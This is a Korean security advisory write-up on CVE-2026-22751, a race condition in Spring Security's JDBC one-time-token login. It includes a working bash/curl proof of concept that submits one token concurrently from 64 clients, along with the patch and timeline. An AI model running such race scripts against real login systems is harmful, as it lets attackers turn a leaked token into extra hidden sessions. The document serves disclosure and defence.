Spring Security 6.4.0부터 들어간 JdbcOneTimeTokenService.consume()은 SELECT와 DELETE를 각각 독립된 auto-commit으로 실행한 뒤 DELETE의 rowcount를 그대로 버립니다. 같은 일회용 토큰을 여러 요청에 실어 동시에 제출하면 모두 인증을 통과하고, 토큰 하나로 세션이 두 개 이상 발급되는 CWE-367 TOCTOU 취약점입니다.
- CVE: CVE-2026-22751
- Advisory: Spring Security Advisory
- 심각도: Moderate, CVSS v3.1
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N - Weakness: CWE-367
취약점
One-Time Token(OTT) 로그인은 비밀번호 없이 인증하는 방식입니다. 사용자가 이메일이나 전화번호를 입력하면 서버가 일회용 토큰을 생성해 해당 채널로 전송하고, 사용자는 그 토큰을 제출해 로그인합니다. 매직 링크나 SMS 인증 코드가 대표적인 예입니다.
Spring Security는 6.4부터 이 흐름을 프레임워크 수준에서 지원합니다. 내부적으로 OneTimeTokenService 인터페이스가 generate(...)와 consume(...) 두 메서드를 제공하고, Javadoc은 consume이 일회용이라는 점을 명시합니다. 한 번 호출하면 토큰이 반환되고 이후 호출은 모두 null이어야 한다는 의미입니다. OneTimeTokenAuthenticationProvider.authenticate()는 이 동작을 전제로 설계됐습니다.
수정 전의 JDBC 구현은 다음과 같았습니다:
@Override
public OneTimeToken consume(OneTimeTokenAuthenticationToken authenticationToken) {
Assert.notNull(authenticationToken, "authenticationToken cannot be null");
List<OneTimeToken> tokens = selectOneTimeToken(authenticationToken); // (1) SELECT
if (tokens.isEmpty()) {
return null;
}
OneTimeToken token = tokens.get(0);
deleteOneTimeToken(token); // (2) void DELETE
if (isExpired(token)) {
return null;
}
return token; // (3) 무조건 반환
}
이 코드를 보면서 세 가지 문제가 눈에 띄었습니다:
SELECT와DELETE가 각각 별개의 auto-commit 호출입니다. 트랜잭션도,SELECT ... FOR UPDATE도, 호출 경로에 걸린 lock도 없습니다.deleteOneTimeToken의 반환 타입이void입니다.JdbcOperations.update(...)가 돌려주는 rowcount가 그대로 버려집니다.SELECT에서 행이 잡혔고 만료만 아니라면 토큰이 반환됩니다.DELETE의 결과는 이 판단에 끼어들 자리가 없습니다.
Race window
Request 2의 DELETE는 사실상 no-op이지만, rowcount를 버리기 때문에 Request 2도 토큰을 그대로 반환하고 인증을 통과합니다.
반면 InMemoryOneTimeTokenService는 원자적인 ConcurrentHashMap.remove(key)를 씁니다. 동시에 호출한 스레드 중 정확히 하나만 값을 받고 나머지는 null을 받기 때문에, 별도 장치 없이도 일회용 동작이 그대로 지켜집니다. 이 race는 JDBC 구현에 국한된 문제입니다.
PoC
재현 환경은 평범한 Spring Boot 3.5.x 앱입니다. oneTimeTokenLogin()을 활성화하고, 자동 구성된 H2 데이터소스 위에 JdbcOneTimeTokenService를 등록합니다. 기본 OneTimeTokenGenerationSuccessHandler는 생성된 토큰을 응답 바디로 돌려주도록 교체했습니다. 실제 서비스에서는 이메일이나 SMS로 전달될 토큰을, 테스트 스크립트가 직접 받게 한 장치입니다:
@Bean
JdbcOneTimeTokenService oneTimeTokenService(DataSource dataSource) {
return new JdbcOneTimeTokenService(new JdbcTemplate(dataSource));
}
@Bean
OneTimeTokenGenerationSuccessHandler oneTimeTokenGenerationSuccessHandler() {
return (request, response, oneTimeToken) -> {
response.setStatus(200);
response.setContentType("text/plain");
response.getWriter().write(oneTimeToken.getTokenValue());
};
}
@Bean
SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests((authz) -> authz
.requestMatchers("/ott/generate", "/login/ott").permitAll()
.anyRequest().authenticated())
.oneTimeTokenLogin(Customizer.withDefaults());
return http.build();
}
Spring Security는 인증에 성공하면 요청을 /로 리다이렉트하고, 실패하면(이미 소비된 토큰 포함) /login?error로 리다이렉트합니다. N개의 동시 요청에서 두 목적지가 각각 몇 번씩 나오는지 세면, 몇 건의 호출이 "토큰 소비에 성공했다"고 서버가 판단했는지 그대로 알 수 있습니다.
테스트 스크립트는 토큰을 하나 생성하고, 클라이언트 N개를 각자 독립된 세션으로 준비한 뒤, 요청을 동시에 보낸 다음 응답의 Location 헤더로 결과를 묶습니다:
# 1. 토큰 생성
curl -s -c gen.jar http://localhost:8080/login -o gen.html
GEN_CSRF=$(sed -n 's/.*name="_csrf"[^>]*value="\([^"]*\)".*/\1/p' gen.html | head -n1)
TOKEN=$(curl -s -b gen.jar -c gen.jar \
-X POST -d "username=user&_csrf=${GEN_CSRF}" \
http://localhost:8080/ott/generate)
# 2. N개 클라이언트 준비
N=64
rm -rf race && mkdir race
for i in $(seq 1 $N); do
curl -s -c race/$i.jar http://localhost:8080/login/ott \
| sed -n 's/.*name="_csrf"[^>]*value="\([^"]*\)".*/\1/p' \
| head -n1 > race/$i.csrf
done
# 3. 동시 전송, Location으로 그룹화
submit_one() {
curl -s -o /dev/null -w "%{redirect_url}\n" \
-b race/$1.jar -X POST \
-d "token=${TOKEN}&_csrf=$(cat race/$1.csrf)" \
http://localhost:8080/login/ott
}
{ for i in $(seq 1 $N); do submit_one $i & done; wait; } | sort | uniq -c
일회용 동작이 제대로 지켜진다면 /로 가는 요청이 정확히 하나, 나머지는 전부 /login?error여야 합니다:
1 http://localhost:8080/
63 http://localhost:8080/login?error
하지만 취약한 빌드(Spring Boot 3.5.4 + Spring Security 6.5.x)에서는 /로 가는 요청이 두 개 이상 나타납니다:
2 http://localhost:8080/
62 http://localhost:8080/login?error
토큰 하나로 세션 두 개가 발급됐습니다. 경합이 심할수록 세 개, 네 개까지 나오기도 합니다. 특정 실행에서 race window를 놓치면 토큰을 새로 생성해 다시 시도하면 됩니다. 이 좁은 윈도우 특성은 CVSS의 Attack Complexity: High에 그대로 반영돼 있습니다.
전제 조건과 영향
취약점이 성립하려면 다음 세 가지 조건을 충족해야 합니다:
oneTimeTokenLogin()이 활성화돼 있을 것 (기본값은 off).JdbcOneTimeTokenService가 명시적으로 등록돼 있을 것 (기본값은 InMemory 구현).one_time_tokens테이블이 데이터소스에 프로비저닝돼 있을 것.
기본 Spring Security 설정은 이 중 어느 것도 충족하지 않습니다. 다만 공식 레퍼런스가 InMemory 구현은 프로덕션이나 클러스터 배포에 부적합하다고 명시하고 있어서, 실제 프로덕션에서 OTT를 도입하면 조건 2와 3은 자연스럽게 따라옵니다. 결국 oneTimeTokenLogin()만 켜지면 버그가 활성화됩니다.
현실적인 악용 경로는 토큰 유출입니다. 어깨 너머 훔쳐보기(shoulder surfing), 공용 단말, 메일 포워딩, 로그 노출, Referer 유출, 피싱 등이 여기에 해당합니다. 원래라면 유출된 토큰을 손에 넣은 공격자에게는 기회가 한 번뿐입니다. 피해자가 먼저 로그인하면 토큰은 이미 소비된 상태이고, 공격자의 시도는 눈에 띄게 실패합니다. race 조건이 맞아떨어지면 공격자의 시도가 피해자의 로그인과 동시에 성공하고, 어디에도 "세션이 둘 존재한다"는 신호가 남지 않습니다.
패치
수정은 전부 JdbcOneTimeTokenService 안에서 이뤄집니다:
@Override
public OneTimeToken consume(OneTimeTokenAuthenticationToken authenticationToken) {
Assert.notNull(authenticationToken, "authenticationToken cannot be null");
List<OneTimeToken> tokens = selectOneTimeToken(authenticationToken);
if (tokens.isEmpty()) {
return null;
}
OneTimeToken token = tokens.get(0);
- deleteOneTimeToken(token);
+ if (deleteOneTimeToken(token) == 0) {
+ return null;
+ }
if (isExpired(token)) {
return null;
}
return token;
}
-private void deleteOneTimeToken(OneTimeToken oneTimeToken) {
+private int deleteOneTimeToken(OneTimeToken oneTimeToken) {
List<SqlParameterValue> parameters = List
.of(new SqlParameterValue(Types.VARCHAR, oneTimeToken.getTokenValue()));
PreparedStatementSetter pss = new ArgumentPreparedStatementSetter(parameters.toArray());
- this.jdbcOperations.update(DELETE_ONE_TIME_TOKEN_SQL, pss);
+ return this.jdbcOperations.update(DELETE_ONE_TIME_TOKEN_SQL, pss);
}
deleteOneTimeToken이 JdbcOperations.update(...)가 돌려준 rowcount를 그대로 반환하도록 바뀌었고, consume은 그 값이 0이면 즉시 null로 종료합니다. row 수준 DELETE는 지원되는 모든 RDBMS에서 원자적입니다. 같은 행을 건드리는 N개의 동시 트랜잭션 중 정확히 하나만 rowcount 1을 받고 나머지는 전부 0을 받습니다. 쓰기 자체가 check 역할을 수행하는 구조가 된 셈입니다.
함께 추가된 회귀 테스트는 JdbcOperations를 mock해서 query()는 토큰 행을 돌려주되 update()는 0을 돌려주도록 구성합니다. race에서 진 쪽을 시뮬레이션한 것이며, 이때 consume이 null을 반환하는지 검증합니다. 수정은 6.4.x, 6.5.x, 7.0.x 브랜치로 백포트돼 각각 6.4.16(Commercial), 6.5.10, 7.0.5로 릴리스됐습니다 (OTT는 6.4에서 도입된 기능입니다). 영향받는 버전 범위는 6.4.0 ~ 6.4.15, 6.5.0 ~ 6.5.9, 7.0.0 ~ 7.0.4입니다.
검토된 대안
이런 유형의 race condition을 해결하는 또 다른 방법은 체크와 소비를 단일 원자 SQL 문으로 묶는 것입니다. boolean consumed 컬럼을 하나 추가하고 UPDATE one_time_tokens SET consumed = true WHERE token_value = ? AND consumed = false를 실행한 뒤, 그 UPDATE가 돌려준 rowcount로 이 호출이 경합에서 이겼는지 판정하는 방식입니다. 데이터베이스 자체가 원자성을 보장하므로 동시 호출자 중 정확히 하나만 0이 아닌 rowcount를 받습니다. 이 방향이 채택되지 않은 이유는 spring-security-core가 함께 제공하는 OTT 스키마에 그런 컬럼이 없기 때문입니다. 기본 제공되는 컬럼은 token_value, username, expires_at 세 개뿐입니다. 공개된 스키마를 바꾸는 일은 애플리케이션 코드 수정보다 훨씬 부담이 커서, 수정은 Java 쪽에서 해결하는 방향으로 진행됐습니다.
정리
데이터베이스에 단일 사용 보장을 맡기는 코드가 SELECT와 후속 DELETE/UPDATE를 별개 statement로 흘리고 rowcount를 검사하지 않으면, 동일한 race condition이 반복됩니다. 일회용 토큰뿐 아니라 idempotency key, 쿠폰 코드, 초대 코드처럼 단일 사용이 곧 보안 경계가 되는 자리에서도 마찬가지입니다.
타임라인
| 날짜 | 내용 |
|---|---|
| 2026년 4월 10일 | GitHub Security Advisory로 Spring Security 팀에 제보 |
| 2026년 4월 13일 | 제보 확인, 비공개 포크에 패치와 회귀 테스트 제출 |
| 2026년 4월 20일 | Spring Security 릴리스 |
| 2026년 4월 21일 | Spring Authorization Server 릴리스, 이어서 Spring Boot 핫픽스 |
| 2026년 4월 21일 | CVE-2026-22751 공개 |